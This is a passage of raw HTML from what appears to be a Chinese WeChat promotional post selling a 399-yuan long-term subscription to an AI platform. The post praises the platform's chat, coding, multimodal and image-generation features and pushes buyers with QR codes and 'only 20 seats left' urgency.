style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼扫码锁定长期使用权益</span></span></span></strong></span></p><p data-mpa-action-id="mn2yxxe81jcj" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 197px;height: 197px;" type="block" data-imgfileid="100004037" src="https://wechat2rss.xlab.app/img-proxy/?k=c2ee91e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgltfcgVY62pOwEPCoC5YypjbJibmuYyzTVDSzcuRfcTBtyOG8B144cU6jT83Iw5zZYcEJyJIteUOXcdQDpQqPbxHEgg3OicfeLek%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">399元长期使用，仅剩20席</span></span></span></span></strong></p><p data-pm-slice="6 5 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(214, 168, 65);font-size: 16px;"><strong style="font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">四、AI仿真对话，强悍到无法比拟！</span></span></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-v-4e2afdbc=""><span style="font-size: 16px;text-align: left;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);font-weight: bold;">我们选择的模型，皆是目前顶流的一批AI大模型</span></span><span leaf="" textstyle="">，</span></span><span data-v-4e2afdbc=""><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px 16px; line-height: 1.6em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;data-v-4e2afdbc&#34;:&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgba(0, 0, 0, 0.9); font-size: 17px; font-family: mp-quote, \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; letter-spacing: 0.034em; font-style: normal; font-weight: normal;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">综合实力在各种比分排行榜上屠榜的存在，</span></span></span><span style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">专治各种疑难杂症和逻辑问题、科研、论文等问题。</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-v-4e2afdbc=""><span style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">不管你是要写一份严谨的劳务合同、合伙协议，还是生活中需要打个欠条，它都能信手拈来。</span></span><span data-pm-slice="0 0 []"><span style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">它不仅逻辑缜密，还能主动帮你规避风险，自动完善细节，简直比请个律师还贴心。</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000095" src="https://wechat2rss.xlab.app/img-proxy/?k=40409b00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSbduwGHNpNDgfTJvdGL2rJ9Msc2QD8iavBvajXib7O0CyciaECichddLKrQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D3"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="font-size: 16px;text-align: left;"><span leaf=""><span textstyle="" style="font-weight: bold;">此外，我们还完美支持模型的</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">多模态功能</span></span></strong><span data-v-4e2afdbc=""><span style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">。</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-pm-slice="0 0 []"><span style="font-size: 16px;text-align: left;"><span leaf="" textstyle="">遇到不会做的难题？看到看不懂的代码？直接截图扔给它，它瞬间就能给你解析得明明白白。</span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span textstyle="" style="font-size: 16px;"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-s="300,640" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000097" src="https://wechat2rss.xlab.app/img-proxy/?k=c56958dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSgmafz2gWqBSZh4Ixxd0oxM9SFzjGr6xNDNkvxQnvnCN1tZCoT8Lupw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D4"/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-pm-slice="0 0 []"><span leaf="" style="font-size: 16px;text-align: left;">前阵子家里搞装修需要挑选石材，试着用它的多模态功能去辨别石材图片，它竟然能帮我挑纹路/看品相，其专业程度直接给我看跪了，太牛了<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016830" src="https://wechat2rss.xlab.app/img-proxy/?k=e0f9e02c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYdvKBquiagQxnPEgl6h5v9aTu4sPMYFTOZiaPJPzdvbgGacWMnQRFCmVFPlaZCDrc7C9SngUTolMWDuBSus8lRapHnAn1afJsNw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-s="300,640" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000098" src="https://wechat2rss.xlab.app/img-proxy/?k=e06e6bcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZS5ibuDlKumnhqNkHW6tKiaNyImoHicv05ibOIpKHhuXhiavqXL4mpuyXx0hg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D7"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037=""><span style="font-size: 16px;text-align: left;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">专业级别的编程AI我们也有！</span></span></span></strong><span data-v-4e2afdbc=""><span leaf="" style="font-size: 16px;text-align: left;">在编程界，这个模型就是神一般的存在。写代码、查Bug、写网页，它说第二没人敢说第一。</span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-pm-slice="0 0 []"><span leaf="" style="font-size: 16px;text-align: left;">你想做一个企业官网？把需求告诉它，几秒钟代码就生成了，复制粘贴就能跑，几乎零Bug。</span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-s="300,640" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000101" src="https://wechat2rss.xlab.app/img-proxy/?k=fa90d5c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSPlCAlVI2phYWP6tLXFRdnAAUI4Lq5J6GmibafllibPOmaCIGibC78iblHg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D8"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="font-size: 16px;text-align: left;"><span leaf=""><span textstyle="" style="font-weight: bold;">我们的平台还支持</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="font-size: 16px;text-align: left;"><span leaf="">代码实时预览，<span textstyle="" style="color: rgb(255, 41, 65);font-weight: bold;">平台里</span></span></span></strong><span data-v-4e2afdbc=""><span style="font-size: 16px;text-align: left;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);font-weight: bold;">写好的网页，不用部署环境，直接在对话框就能看到运行效果</span>，只要选择我们平台使用AI对话的用户，体验简直爽翻天<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016832" src="https://wechat2rss.xlab.app/img-proxy/?k=cff45233&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTasQWglHlZSfzCn5f8IfKanm8vtmV0LuiclAhc6WXmian2S2LBOWsyg6gYicLzJLkVpJ2Nlk9Z1fo4QHE0RCE30RMiabU8ob7C1jno%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000102" src="https://wechat2rss.xlab.app/img-proxy/?k=ddb93fad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZS6B6dkJpHIsDAqKrPvRxmPaBO6kTfV1eyjNuAc3G6j4chY36dGsh8Vg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D9"/></p><p data-pm-slice="0 0 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;"><span leaf=""><span textstyle="" style="font-size: 16px;">再比如：</span><span textstyle="" style="font-size: 16px;font-weight: bold;">文章、文案、脚本，样样信手拈来。</span></span></p><p data-pm-slice="0 0 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span leaf=""><span textstyle="" style="font-size: 16px;">比如想快速产出一篇公众号推文，小红书爆款笔记。</span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;"><span leaf=""><span textstyle="" style="font-size: 16px;">只需要一句简单描述，它就能立刻输出一篇结构完美、文风自然的高质量内容。</span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 8px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000100" src="https://wechat2rss.xlab.app/img-proxy/?k=dfcca3c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSNJ4rABAQn6bvHbH4YnM86r8KP4kb8ywXLseiauaFqzCESh1mMFxgiahQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D10"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span style="line-height: 1.6em;color: rgba(0, 0, 0, 0.9);"><span style="color: rgba(0, 0, 0, 0.9);"><strong data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 16px;">几乎不用二次修改</span></span></strong><span leaf=""><span textstyle="" style="font-size: 16px;">，省心到离谱！</span></span></span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span style="line-height: 1.6em;color: rgba(0, 0, 0, 0.9);"><span style="color: rgba(0, 0, 0, 0.9);"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;font-weight: bold;">它通过一次性投入，解决了以上多个平台高额订阅费的问题。</span></span></span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 16px;">说句掏心窝的话，这个价格、这个阵容，市面上找不到第二家。</span></span></span><strong><span leaf=""><span textstyle="" style="font-size: 16px;">名额一旦抢完，真就没有下次了。</span></span></strong></span></span></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼扫码抢购，手慢无</span></span></span></strong></span></p><p data-mpa-action-id="mn2yy8ellwo" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 187px;height: 187px;" type="block" data-imgfileid="100004038" src="https://wechat2rss.xlab.app/img-proxy/?k=07263fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgltf0F2ibsXQw6zyxHicHO7pUaU6lF0pibmxE2PpwNusUlPFc6sQ6jb0oNNjMczXAicMh3nfEHQyWduSDRIOdibfyTvQXa4CP6dg22o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">名额告急，仅剩20人</span></span></span></span></strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="color: rgb(214, 168, 65);font-size: 16px;margin-bottom: 0px;"><strong style="margin-bottom: 0px;"><p style="margin-left: 16px;margin-right: 16px;margin-bottom: 24px;line-height: 1.6em;"><span style="font-size: 16px;margin-bottom: 0px;"><span style="margin-bottom: 0px;"><span data-mpa-action-id="mgl08cx86bh" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(214, 168, 65);font-size: 16px;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-left: 0px;margin-right: 0px;margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 16px;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mgl08cx21dhv" style="font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">五、AI绘图原生绘画，无限畅用</span></span></span></span></span></p></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbruwpai5s" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">在AI绘画界，从0-1生图领域，这个模型就是永远的神，不接受反驳。</span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbruwpa1esk" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">只需输入几个关键词，它就能从无到有创造出惊艳的画作。无论是高端海报、创意插画，还是写实人像、二次元动漫，对它来说都是小菜一碟。</span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;line-height: 1.6em;"><span style="letter-spacing: 0.034em;font-size: 16px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.531047265987025" data-s="300,640" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000099" src="https://wechat2rss.xlab.app/img-proxy/?k=87d396cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSF2Lmuia55NTV9gT9yT0OeEenjcnRANwJzazP8cwCztfmRfwZ2CpPkqw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D15"/></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037=""><span data-pm-slice="1 1 